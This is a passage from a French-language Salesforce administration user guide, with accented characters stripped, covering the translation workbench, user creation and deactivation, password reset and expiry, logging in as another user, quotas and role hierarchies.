Pour ajouter ou modifier des langues :

Grer la traduction

Pour affecter des traducteurs :

Grer la traduction

Pour traduire des termes :

Afficher la configuration
AND
tre dsign comme traducteur

Laissez les utilisateurs choisir la langue dans laquelle ils souhaitent travailler. Dfinissez un systme de traduction pour ajouter
des valeurs traduites des lments suivants : noms de champ personnalis, texte d'aide de champ personnalis, listes associes
personnalises, onglets Web personnaliss, valeurs de liste de slection, types d'enregistrement, sections de prsentation de
page, catgories de solutions, groupes de catgories de donnes, catgories de donnes, messages d'erreur de validation de
champ, noms de sous-application personnalise, tiquettes de commande Custom S-Control, boutons et liens personnaliss,
noms de service, motifs de partage Apex, objet et description de tches de workflow, noms de type de rapport personnalis,
noms de section sur les prsentations de type de rapport et noms de colonne affichs dans la page Slectionnez les colonnes
de l'assistant de gnration de rapports pour les rapports crs partir de types de rapport personnalis.
Remarque: Pour traduire les tiquettes d'onglets et de champs standard que vous avez renomms, reportez-vous
Attribution d'un nouveau nom aux tiquettes d'onglets et de champs la page 359.
Le systme de traduction gre galement les utilisateurs responsables de la traduction de plusieurs langues. Le systme de
traduction gre les valeurs traduites de n'importe quelle langue prise en charge par Salesforce.com.

Gestion de l'administration

Guide de l'utilisateur | Configuration du systme de traduction | 89

L'intgration de valeurs traduites est simple et totalement transparente pour les utilisateurs. Un utilisateur qui slectionne le
franais comme langue principale peut afficher toutes les valeurs traduites en franais, quelle que soit la langue de l'entreprise.
Tout rapport excut par l'utilisateur fournit des informations dans la langue de cet utilisateur.
Cette option fonctionne de la faon suivante :
1.
2.
3.
4.
5.

Dfinissez les langues prises en charge.

Slectionnez des traducteurs pour chaque langue.
Attribuez l'autorisation Afficher la configuration chaque traducteur.
Les traducteurs entrent les termes traduits.
Activez les langues prises en charge

La gestion des valeurs traduites est simple. Lorsqu'un lment dans la langue de l'entreprise est ajout ou modifi, le systme
de traduction indique que le terme en question est obsolte et doit tre traduit.
Remarque: Pour activer cette fonction pour votre entreprise, contactez salesforce.com.

Voir aussi :
Ajout et modification de langues traduites
Saisie de termes traduits

Ajout et modification de langues traduites

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour ajouter ou modifier des langues :

Grer la traduction

Utilisez le systme de traduction pour ajouter des langues que vous prenez en charge, activer ou dsactiver une langue, attribuer
des traducteurs une langue et entrer des termes traduits.
Pour ajouter ou modifier des langues traduites et des traducteurs :
1. Cliquez sur Configuration Systme de traduction Configuration du systme de traduction.
2. Cliquez sur Ajouter pour activer une nouvelle langue. Cliquez sur Modifier pour modifier une langue existante prise en
charge.
3. Si vous ajoutez une langue, slectionnez cette dernire.
4. Cochez la case Actif pour activer cette langue. Dslectionnez cette case pour dsactiver une langue existante.
Conseil: N'activez une langue qu'aprs la traduction de toutes les valeurs ncessaires. Les utilisateurs qui
slectionnent cette langue ont alors accs aux valeurs traduites.

Gestion de l'administration

Guide de l'utilisateur | Configuration du systme de traduction | 90

5. Slectionnez des traducteurs pour cette langue. Choisissez un utilisateur dans la zone Liste disponible, puis cliquez
sur Ajouter pour ajouter l'utilisateur la zone lments slectionns.
Les utilisateurs ne peuvent traduire que dans les langues o ils sont dsigns comme traducteurs.
6. Cliquez sur Enregistrer.

Voir aussi :
Configuration du systme de traduction

Saisie de termes traduits

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour traduire des termes :

Afficher la configuration
AND
tre dsign comme traducteur

Les utilisateurs dots de l'autorisation requise peuvent saisir des termes traduits dans les langues dont ils ont t dfinis comme
traducteurs.
Pour entrer des valeurs traduites :
1. Cliquez sur Configuration Systme de traduction, puis choisissez l'lment traduire :

Traduire les tiquettes des champs personnaliss - Permet de traduire les champs personnaliss.
Traduire l'aide des champs personnaliss - Permet de traduire le texte d'aide des champs personnaliss
Remarque: Les champs apparaissent dans cette liste uniquement s'ils possdent un texte d'aide.

Traduire les tiquettes personnalises de la liste associe - Permet de traduire les listes associes personnalises.
Traduire les tiquettes de boutons et de liens personnaliss - Permet de traduire les liens et les boutons personnaliss.
Traduire les tiquettes de commandes Custom S-Control - Permet de traduire les commandes s-control.
Traduire les onglets Web personnaliss - Permet de traduire le nom des onglets Web personnaliss.
Traduire les valeurs de la liste de slection - Permet de traduire les listes de slection standard et personnalises, ainsi
que les listes de slection des listes associes.
Traduire les types d'enregistrement - Permet de traduire les noms des types d'enregistrement.
Traduire les sections de la prsentation - Permet de traduire les titres des sections de prsentation de page.
Traduire les services - Permet de traduire le nom des services, si votre organisation utilise des services.
Traduire les sous-applications personnalises - Permet de traduire le nom des sous-applications personnalises dans
le menu des sous-applications Force.com.

Gestion de l'administration

Guide de l'utilisateur | Configuration du systme de traduction | 91

Traduire les types de rapport personnalis - Permet de traduire les noms de types de rapport personnalis, les noms
de section sur les prsentations de type de rapport personnalis et les noms de colonne affichs sur la page Slectionnez
les colonnes de l'assistant de gnration de rapports pour les rapports crs partir des types de rapport personnalis.
Traduire les messages d'erreur de validation - Permet de traduire les messages d'erreur qui apparaissent lorsqu'un
champ ne respecte pas largle de validation.
Traduire les catgories de solutions - Permet de traduire les catgories de solutions, si votre organisation en utilise.
Traduire les motifs de partage Apex - Permet de traduire les motifs de partage Apex.
Traduire l'objet et les descriptions des tches de workflow : pour les tches de workflow - Champ d'objet et champ
des commentaires de la section Description. Si l'objet est traduit, Salesforce.com cre une tche dans la langue du
bnficiaire. Si l'objet est traduit et que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie
l'e-mail dans la langue du bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre
une tche et envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Traduire des groupes de catgories de donnes : permet de traduire des groupes de catgories, si votre organisation
utilise des Groupes de catgories de donnes et des Catgories de donnes.
Traduire des catgories de donnes : permet de traduire des catgories de donnes, si votre organisation utilise des
Groupes de catgories de donnes et des Catgories de donnes.

2. Slectionnez la langue et le type d'enregistrement pour obtenir la liste des termes disponibles pour la traduction. La colonne
Dpass indique que l'lment a t mis jour et que le terme peut ncessiter une traduction.
3. Si vous modifiez des valeurs de liste de slection, choisissez le nom du champ de liste de slection. Pour les valeurs de liste
de slection, cochez la case Inclure les valeurs inactives pour afficher les traductions des valeurs supprimes.
Si la liste comporte plus de 100 entres, cliquez sur Page suivante pour afficher les 100 entres suivantes.
4. Cliquez sur Modifier.
5. Entrez les termes traduits.
6. Cliquez sur Enregistrer.

Gestion des utilisateurs

Prsentation de la gestion des utilisateurs
Les options de gestion des utilisateurs disponibles dpendent de votre dition de Salesforce.com.

Dans Salesforce.com, chaque utilisateur est identifi par un nom d'utilisateur, un mot de passe et un profil unique. Le profil
dtermine les tches que chaque utilisateur peut effectuer, les donnes qu'il peut afficher et comment il peut utiliser les donnes.
Selon la version de Salesforce.com de votre organisation et les fonctionnalits supplmentaires achetes, vous pouvez disposer
de licences (telles que Marketing, Connect Offline, Sales Anywhere, Salesforce Mobile et Salesforce CRM Content) qui
offrent certains utilisateurs l'accs d'autres fonctionnalits disponibles uniquement avec une licence utilisateur spcifique.
Un utilisateur peut tre attribu une ou plusieurs licences. Vous pouvez galement configurer des comptes pour permettre
des utilisateurs hors de votre organisation d'accder un ensemble restreint de champs et d'objets. Ces licences utilisateur
peuvent accorder l'accs au portail client, au portail partenaire ou au libre-service. Enfin, Salesforce to Salesforce permet de
crer des connexions en vue de partager des enregistrements avec des utilisateurs Salesforce hors de votre organisation.
En tant qu'administrateur, vous pouvez effectuer des tches de gestion d'utilisateurs, telles que la cration et la modification
d'utilisateurs, la rinitialisation de mots de passe et la cration de comptes Google Apps. Vous pouvez galement crer et grer
d'autres types d'utilisateurs, crer de champs personnaliss, dfinir des liens personnaliss, excuter des rapports sur des
utilisateurs et dlguer des tches d'administration d'utilisateurs d'autres utilisateurs. Pour plus d'informations, reportez-vous
Gestion des utilisateurs la page 93.
Vous pouvez contrler l'accs aux donnes d'un utilisateur diffrents niveaux :

Pour contrler l'accs des applications et des objets, utilisez des profils.
Pour contrler l'accs aux champs d'un objet, utilisez la scurit au niveau du champ et des types d'enregistrement.
Pour contrler l'accs des enregistrements spcifiques, utilisez un modle de partage.

Pour plus d'informations, reportez-vous Scurisation de l'accs aux donnes.

Voir aussi :
Attribution de types d'enregistrement aux profils

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 93

Gestion des utilisateurs

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des utilisateurs :

Grer les utilisateurs

Pour exporter des utilisateurs vers Google Apps :

Personnaliser l'application

Pour crer ou modifier des utilisateurs, rinitialiser des mots de passe et exporter des utilisateurs vers Google pour crer des
comptes Google Apps, cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
Pour plus d'informations, reportez-vous :

Ajout de nouveaux utilisateurs la page 94

Modification des utilisateurs la page 96
Rinitialisation des mots de passe la page 98
Cration de comptes Google Apps la page 1840
Remarque: Si l'option Google Apps n'est pas active pour votre organisation, le bouton Exporter vers Google
Apps ne s'affiche pas. Pour activer Google Apps dans Salesforce.com, reportez-vous Mise en route Salesforce et
Google Apps la page 1834.

Pour crer d'autres types d'utilisateur, reportez-vous :

Activation du portail client pour les contacts et les comptes personnels la page 1257
Libre-service pour les contacts et les comptes personnels la page 1255
Cration de comptes partenaires la page 1647 (pour les utilisateurs du portail PRM)

La page de dtails de l'utilisateur prsente une liste de tous les utilisateurs de votre organisation, du portail PRM et du portail
client Salesforce.com. Vous pouvez crer des vues de liste personnalises pour afficher les diffrents sous-ensembles d'utilisateurs
(reportez-vous Cration de vues Listes personnalises la page 1538). Par exemple, crez une vue avec le critre de recherche
Nom du profil gal Lecture seule pour n'afficher que les utilisateurs dots du profil Lecture seule.
Crez des champs personnaliss pour les utilisateurs et dfinissez les liens personnaliss afficher sur leur page de dtails. Pour
accder ces options, slectionnez Configuration Personnalisation Utilisateurs. Pour plus d'informations, reportez-vous
Cration de champs personnaliss la page 390 et Configuration des boutons et liens personnaliss la page 578.
En outre, vous pouvez utiliser la recherche du menu latral pour localiser un utilisateur dans votre organisation, quel que soit
le statut de l'utilisateur. Lorsque vous utilisez une bote de dialogue de recherche dans des champs d'enregistrements, les
rsultats renvoient uniquement les utilisateurs actifs (reportez-vous Prsentation de la recherche la page 1893 et Recherche
via la bote de dialogue Recherche la page 1913). Vous avez galement la possibilit de gnrer des rapports sur les utilisateurs
dans l'onglet Rapports (reportez-vous Rapports administratifs la page 1707).
Pour simplifier la gestion des utilisateurs dans les grandes entreprises, dlguez certains aspects de l'administration des utilisateurs
des utilisateurs non administrateurs (reportez-vous Dlgation des tches administratives la page 209).

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 94

Remarque: Vous ne pouvez pas dlguer les fonctions administratives associes votre organisation des utilisateurs
du portail partenaire ou du portail client. Vous pouvez toutefois dlguer certaines fonctions administratives du portail
des utilisateurs du portail.

Voir aussi :
Expiration des mots de passe
Dsactivation des utilisateurs
Connexion sous une identit diffrente
Octroi de l'accs Checkout
Configuration des quotas pour les prvisions personnalisables
Attribution d'utilisateurs aux rles
Champs d'utilisateur
Modification des informations personnelles
Gestion des utilisateurs du portail Client

Ajout de nouveaux utilisateurs

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer des utilisateurs :

Grer les utilisateurs

Le nombre maximal d'utilisateurs crs varie selon l'dition utilise :

Edition Salesforce.com

Nombre maximal d'utilisateurs

Personal

Responsable de contact

Groupe

10

Professional

Illimit

Enterprise

Illimit

Illimit

Illimit

Dveloppeur

Pour crer un utilisateur pour votre entreprise :

1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur Nouvel utilisateur.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 95

Dans Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, vous pouvez choisir Ajouter des
utilisateurs multiples pour ajouter plusieurs utilisateurs simultanment.
3. Entrez le prnom, le nom et l'adresse e-mail de l'utilisateur. L'adresse e-mail devient le nom d'utilisateur.
Remarque: Si le nom de l'utilisateur inclut des caractres non anglais, l'utilisateur doit ajouter la langue spcifie
aux paramtres de format du message dans Outlook, si ce programme est utilis pour afficher le message.
4. Slectionnez une licence utilisateur. Les profils disponibles dpendent de la licence utilisateur que vous choisissez.
Remarque: Certaines options ne sont plus disponibles selon le type de licence que vous choisissez. Par exemple,
les options Utilisateur marketing et Autoriser les prvisions ne sont pas disponibles pour les
licences utilisateur Force.com, car les onglets Prvisions et Campagnes ne sont pas accessibles aux utilisateurs
disposant d'une licence Force.com. Les licences utilisateur Force.com ne sont pas disponibles avec Professional
Edition et Group Edition ou Contact Manager Edition.
5. Slectionnez un profil pour contrler les autorisations de l'utilisateur, par exemple le profil Administrateur systme.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, choisissez le profil Responsable
de solution pour autoriser un utilisateur vrifier et publier des solutions. Choisissez le profil Utilisateur marketing pour
autoriser un utilisateur importer les pistes et mettre jour l'historique de la campagne via les assistants d'importation
de membres de campagne. Reportez-vous Gestion des profils la page 108.
6. Dans Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, slectionnez un rle dans la liste
dfinie pour le champ Rle.
Reportez-vous Gestion des rles la page 102 si vous n'avez pas dfini la hirarchie de rles.
7. Dans les ditions Professional Edition, Enterprise Edition et Unlimited Edition, vous pouvez activer d'autres fonctionnalits
en cochant une ou plusieurs des cases suivantes :

Utilisateur marketing
Utilisateur hors ligne
Utilisateur mobile

Cette case cocher n'apparat que si vous vous tes procur des licences de fonctionnalit Salesforce Mobile.

Utilisateur Salesforce CRM Content

Cette case cocher s'affiche uniquement si vous disposez des licences de fonctionnalit Salesforce CRM Content.
Vous ne pourrez pas slectionner ces fonctionnalits si elles ne sont pas prises en charge par votre type de licence utilisateur.
En outre, vous ne pourrez pas sauvegarder le nouvel enregistrement utilisateur si vous ne disposez d'aucune licence pour
ces fonctionnalits.
8. Dans les entreprises Unlimited Edition, Enterprise Edition et Developer Edition, vous pouvez slectionner Envoyer
des e-mails d'avertissement Apex pour envoyer un e-mail l'utilisateur lorsqu'une application appelant un script
Apex utilise plus de la moiti des ressources spcifies par les limites du contrleur. Cette fonction peut tre utilise lors
du dveloppement de script Apex afin de tester le volume de ressources utilises pendant la dure d'excution. Pour plus
d'informations, reportez-vous Prsentation du code Apex Force.com la page 887
9. Pour dfinir le mot de passe initial d'un utilisateur, cochez la case Gnrer un nouveau mot de passe et avertir
immdiatement l'utilisateur pour envoyer par e-mail son nom d'utilisateur et son mot de passe temporaire au
nouvel utilisateur.
Pour crer d'autres types d'utilisateur :

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 96

Pour les utilisateurs du portail client Salesforce.com, reportez-vous Activation du portail client pour les contacts et les
comptes personnels la page 1257.
Pour les utilisateurs du portail Libre-service, reportez-vous Libre-service pour les contacts et les comptes personnels la
page 1255.
Pour les utilisateurs partenaires, reportez-vous Cration de comptes partenaires la page 1647.
Remarque: Vous pouvez convertir une licence Salesforce.com en licence Force.com, mais vous ne pouvez pas convertir
une licence Force.com en licence Salesforce.com. Pour plus de dtails, reportez-vous Affichage des types de licences
utilisateur la page 150.

Voir aussi :
Modification des utilisateurs
Dsactivation des utilisateurs
Gestion des utilisateurs
Configuration du portail Client
Configuration du libre-service

Modification des utilisateurs

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour modifier les informations d'un utilisateur :

1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
Vous pouvez galement modifier les utilisateurs de votre organisation partir de la liste associe Utilisateurs du rle dans
la page de dtails du rle.
2. Cliquez sur Modifier en regard du nom de l'utilisateur de votre choix.
3. Apportez toutes les modifications ncessaires, puis cliquez sur Enregistrer. Pour dsactiver un utilisateur et lui interdire
l'accs l'organisation, assurez-vous que la case Actif est dslectionne.
Conseils relatifs aux modifications apportes par les utilisateurs

Les utilisateurs peuvent modifier ou ajouter leur propres informations personnelles une fois connects.
Si vous modifiez l'adresse e-mail d'un utilisateur et que vous dslectionnez la case Gnrer un nouveau mot de
passe et avertir immdiatement l'utilisateur, un message de confirmation est envoy la nouvelle adresse
e-mail saisie. L'utilisateur doit alors cliquer sur le lien fourni dans ce message pour que la nouvelle adresse e-mail soit prise
en compte. Ce processus garantit la scurit du systme. Lors de la gnration du nouveau mot de passe d'un utilisateur,
le nouveau mot de passe est automatiquement envoy l'adresse e-mail de l'utilisateur sans vrification du message.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 97

Lorsque vous modifiez un utilisateur, vous pouvez modifier son profil partir de la liste droulante Profil afin qu'il ou
elle puisse effectuer diffrentes fonctions au sein de Salesforce.com.
Les administrateurs peuvent limiter les noms de domaine des adresses e-mail des utilisateurs une liste de domaines
explicitement autoriss. Toute tentative de dfinition d'une adresse e-mail avec un autre domaine gnre un message
d'erreur. Contactez salesforce.com pour activer cette fonctionnalit dans votre entreprise.
Pour les utilisateurs de la page de dtails, les administrateurs peuvent cliquer sur Connexion pour se connecter sous l'identit
des utilisateurs leur ont accord l'accs. Ce bouton n'est disponible que pour les utilisateurs ayant accord une autorisation
d'accs un administrateur.
Les administrateurs peuvent cliquer sur Dverrouiller afin de dverrouiller un utilisateur bloqu hors de Salesforce.com.
Ce bouton n'est disponible que lorsqu'un utilisateur est verrouill.
Si votre entreprise a install des packages grs, cliquez sur Attribuer des licences pour assigner une licence de package
l'utilisateur. Cliquez sur Supprimer pour supprimer une licence attribue l'utilisateur.

Voir aussi :
Attribution d'utilisateurs aux rles
Ajout de nouveaux utilisateurs
Rinitialisation des mots de passe
Gestion des utilisateurs
Affichage des types de licence utilisateur
Gestion des utilisateurs du portail Client

Dsactivation des utilisateurs

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour dsactiver les utilisateurs :

Grer les utilisateurs

Vous ne pouvez pas supprimer totalement un utilisateur du systme, mais vous pouvez dsactiver sa connexion afin qu'il ne
puisse plus utiliser le service.
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur Modifier en regard du nom de l'utilisateur de votre choix.
3. Dslectionnez la case Actif et cliquez sur Enregistrer.
Si l'utilisateur est membre de l'quipe de comptes, de ventes ou de requtes, Salesforce.com vous invite le supprimer de
ces quipes.
Conseils sur la dsactivation des utilisateurs
Tenez compte des points suivants lorsque vous dsactivez des utilisateurs :

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 98

Les utilisateurs dsactivs sont retirs de tous les groupes, de toutes les files d'attente et de tous les privilges de partage.
Nanmoins, vous pouvez toujours transfrer leurs donnes vers d'autres utilisateurs et afficher leur nom sur la page
Utilisateurs.
Les utilisateurs dsactivs continuent tre responsables des opportunits et apparaissent dans les prvisions et les territoires.
Lorsque des utilisateurs sont dsactivs, leurs remplacements de prvisions d'opportunits, de totaux ajusts et de choix
des responsables sur les prvisions de leurs subordonns sont gels. Le responsable d'un utilisateur dsactiv peut nanmoins
appliquer le remplacement de choix du responsable aux prvisions de cet utilisateur. Les montants cumuls seront maintenus
jour. Si un utilisateur dsactiv est ensuite ractiv, il peut reprendre son travail normalement. Pour plus d'informations
sur les territoires, reportez-vous Prsentation de la gestion des territoires la page 1952.
Un utilisateur dsactiv n'est pas comptabilis dans les licences utilisateur disponibles de l'entreprise. Nanmoins, la
dsactivation d'un utilisateur ne rduit pas le nombre de licences de l'entreprise. Vous devez modifier le nombre de licences
pour tre factur en consquence. Reportez-vous Ajout ou suppression de licences utilisateur la page 2181.
Vous ne pouvez pas dsactiver un utilisateur slectionn en tant qu'Administrateur Portail Client. Pour plus
d'informations, reportez-vous Activation de la connexion et des paramtres du portail Client la page 1293.
Vous ne pouvez pas dsactiver un utilisateur slectionn dans un champ de hirarchie personnalise, mme si vous supprimez
ce champ. Vous devez d'abord supprimer dfinitivement le champ. Pour plus d'informations, reportez-vous Gestion des
champs personnaliss supprims.
Lorsqu'un administrateur dlgu d'utilisateur du portail dsactive un utilisateur du portail, il ne peut le retirer d'aucune
quipe dont l'utilisateur est membre.

Voir aussi :
Transfert en masse d'enregistrements
Ajout de nouveaux utilisateurs
Modification des utilisateurs
Gestion des utilisateurs
Invalidation et dsactivation des utilisateurs du portail

Rinitialisation des mots de passe

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour rinitialiser les mots de passe :

Grer les utilisateurs

Si un utilisateur perd son mot de passe, il lui suffit de cliquer sur le lien Vous avez oubli votre mot de passe ? d'une page de
connexion ayant chou pour recevoir un nouveau mot de passe par e-mail. L'utilisateur doit rpondre correctement une
question de scurit pralablement dfinie avant de pouvoir rinitialiser son mot de passe et son identifiant de connexion.
Reportez-vous Modification du mot de passe la page 32.
Pour rinitialiser le mot de passe d'un utilisateur :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cochez la case en regard du nom de l'utilisateur. Si vous le souhaitez, pour changer le mot de passe de tous les utilisateurs
affichs, cochez la case situe dans l'en-tte de colonne pour slectionner toutes les lignes.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 99

3. Cliquez sur Rinitialiser le mot de passe pour recevoir un nouveau mot de passe par e-mail.
Conseils pour la rinitialisation des mots de passe
Tenez compte des points suivants lorsque vous rinitialisez des mots de passe :

Si un utilisateur possde l'autorisation Utilise une connexion unique, seul un administrateur pourra rinitialiser son mot
de passe ; les utilisateurs qui possdent cette autorisation ne pourront pas le faire eux-mmes.
Lorsque vous rinitialisez un mot de passe utilisateur, il est possible que l'utilisateur doive activer son ordinateur pour russir
se connecter Salesforce.com. Pour plus d'informations, reportez-vous Configuration des restrictions de connexion
la page 144.

Voir aussi :
Expiration des mots de passe
Gestion des utilisateurs

Expiration des mots de passe

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour faire expirer tous les mots de passe :

Grer les utilisateurs

Pour faire expirer les mots de passe de tous les utilisateurs, l'exception de ceux possdant l'autorisation Le mot de passe
n'expire jamais :
1. Cliquez sur Configuration Contrles de scurit Faire expirer tous les mots de passe.
2. Cochez la case Expiration de tous les mots de passe utilisateur.
3. Cliquez sur Enregistrer.
Lors de la prochaine connexion de l'utilisateur, ce dernier sera invit rinitialiser son mot de passe.
Conseils sur l'expiration des mots de passe
Tenez compte des remarques suivantes lors de l'expiration des mots de passe :

Aprs l'expiration des mots de passe, les utilisateurs peuvent avoir besoin d'activer leur ordinateur pour se connecter
Salesforce.com. Pour plus d'informations, consultez la rubrique Configuration des restrictions de connexion la page 144.
Faites expirer les mots de passe de tous les utilisateurs chaque fois que vous souhaitez renforcer la scurit de l'entreprise.
Pour obtenir d'autres options garantissant la scurit des mots de passe, reportez-vous Dfinition des stratgies de mot
de passe la page 184.

Voir aussi :
Rinitialisation des mots de passe

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des utilisateurs | 100

Connexion sous une identit diffrente

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour se connecter avec l'identit d'un autre utilisateur qui vous
Grer les utilisateurs
a accord l'accs :
ET
Modifier toutes les donnes

Pour aider d'autres utilisateurs, les administrateurs peuvent se connecter Salesforce.com sous l'identit d'un autre utilisateur
si celui-ci vous a accord l'accs la connexion.
Pour vous connecter sous une identit diffrente :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur le lien Connexion en regard de l'utilisateur vous ayant accord l'accs. Le lien et le bouton Connexion
apparaissent uniquement pour les utilisateurs ayant accord l'accs la connexion un administrateur.
3. Cliquez sur Dconnexion pour revenir votre compte d'administrateur.
Remarque: Vous pouvez galement vous connecter sous l'identit d'un autre utilisateur dans la page de dtails de
l'utilisateur et dans la page de liste des utilisateurs du rle.

Voir aussi :
Gestion des utilisateurs

Octroi de l'accs Checkout

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour octroyer l'accs Checkout :

Grer la facturation

Pour modifier les utilisateurs :

Grer les utilisateurs

Les utilisateurs disposant de l'autorisation Grer la facturation ont automatiquement accs Checkout s'il est activ dans
votre entreprise. Ces utilisateurs peuvent galement octroyer l'accs d'autres utilisateurs de votre entreprise.
Pour octroyer l'accs Checkout un utilisateur :

Gestion des utilisateurs

1.
2.
3.
4.

Guide de l'utilisateur | Gestion des utilisateurs | 101

Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.

Cliquer sur le nom de l'utilisateur appropri pour ouvrir la page de dtail de cet utilisateur.
Cliquez sur Modifier.
Cochez la case Checkout activ. L'utilisateur est notifi par e-mail lorsque son compte Checkout est activ et disponible
pour la connexion.

Configuration des quotas pour les prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir votre quota :

Modifier les quotas personnels

Pour dfinir le quota d'un utilisateur :

Grer les utilisateurs

Les utilisateurs disposant des autorisations ncessaires peuvent dfinir leur quota. Les administrateurs et les utilisateurs disposant
des autorisations ncessaires peuvent modifier les quotas, et les responsables peuvent modifier les quotas des utilisateurs qu'ils
supervisent directement.
1. Pour dfinir votre quota personnel, cliquez sur Configuration Mes informations personnelles Informations
personnelles. Pour modifier le quota d'un utilisateur que vous supervisez, cliquez sur Configuration Gestion des
utilisateurs Utilisateurs et slectionnez l'utilisateur en question.
2. Cliquez sur Modifier dans la liste associe Quotas.
3. Slectionnez le dbut et la longueur de plage appropris. Si possible, slectionnez un territoire et une gamme de produits.
Remarque: Si l'organisation utilise des exercices personnaliss, vous ne pouvez pas dfinir les quotas d'une priode
sans exercice fiscal dfini.
4. Saisissez les montants des quotas du chiffre d'affaires et/ou de la quantit.
5. Slectionnez la devise approprie, si vous en utilisez plusieurs.
6. Cliquez sur Enregistrer pour enregistrer le quota et revenir la page de dtails de l'utilisateur, ou cliquez sur Enregistrement
rapide pour enregistrer les valeurs et continuer modifier le quota.
Conseil: La fonction Enregistrement rapide permet de paramtrer rapidement un quota diffrent pour chaque
famille de produits.

Remarque: Si vous ne disposez pas de ces options, les prvisions personnalisables ne sont peut-tre pas installes.
Pour dterminer si votre organisation a activ les prvisions personnalisables, reportez-vous Est-ce que je dispose de
la prvision personnalisable ? la page 1445. Pour plus d'informations sur la dfinition de quotas si les fonctions de
prvisions personnalisables ne sont pas installes, reportez-vous Ajout et modification de quotas la page 33.
Vous pouvez galement utiliser des outils tels que le Data Loader pour procder des mises jour en masse des quotas. Lors
de la mise jour des quotas, dfinissez la valeur de champ de quota sur les objets RevenueForecast ou QuantityForecast.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des rles | 102

Pour plus d'informations, reportez-vous aux sections RevenueForecast et QuantityForecast dans le guide Force.com Web Services
API Developer's Guide.

Voir aussi :
Gestion des utilisateurs

Gestion des rles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des rles :

Grer les utilisateurs

Pour affecter les utilisateurs des rles :

Grer les utilisateurs

En fonction des paramtres de partage, les rles contrlent le degr de visibilit des utilisateurs sur les donnes de votre
entreprise. Les utilisateurs, quel que soit le niveau de leur rle, peuvent afficher, modifier et gnrer des rapports sur toutes les
donnes dtenues ou partages par les utilisateurs de niveau infrieur dans la hirarchie, sauf indication contraire dans le modle
de partage d'un objet de votre organisation. Plus prcisment, dans la liste associe Valeurs par dfaut pour l'organisation, si
l'option Octroyer l'accs par le biais des hirarchies est active pour un objet personnalis, seul le responsable de l'enregistrement
et les utilisateurs disposant d'un accs dans les valeurs par dfaut l'chelle de l'organisation peuvent accder aux enregistrements
des objets.
Remarque: Les informations suivantes concernent les rles destins aux utilisateurs de votre entreprise. Pour plus
d'informations sur les rles des utilisateurs partenaires et des utilisateurs du portail Client Salesforce.com, reportez-vous
propos de la gestion des utilisateurs responsables de canaux PRM la page 1616 et Gestion des utilisateurs du
portail Client la page 1313.
Utilisation de rles
Pour afficher et grer les rles de votre organisation, cliquez sur Configuration Gestion des utilisateurs Rles.

Slectionnez l'une des options de vue de liste suivantes :

Afficher dans la vue arborescente
Afficher une reprsentation visuelle des relations parent-enfant entre vos rles. Cliquez sur Dvelopper tout pour
afficher tous les rles ou sur Rduire tout pour afficher uniquement les rles de niveau suprieur. Pour dvelopper
ou rduire un nud individuel, cliquez sur l'icne plus (+) ou moins (-).
Afficher dans la vue de liste trie
Afficher une liste que vous pouvez trier alphabtiquement par nom de rle, rle parent (Rattachement hirarchique)
ou nom de rapport. Si votre organisation possde un grand nombre de rles, cette vue facilite la navigation et le
filtrage.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur
Crer une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre,
slectionnez-la dans la liste droulante Vue, puis cliquez sur Modifier.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des rles | 103

Afficher dans la vue de liste

Afficher une liste de rles et de leurs enfants, tris alphabtiquement par nom du rle de niveau suprieur. Les colonnes
ne peuvent pas tre tries. Cette vue n'est pas disponible pour les hirarchies contenant plus de 1 000 rles.

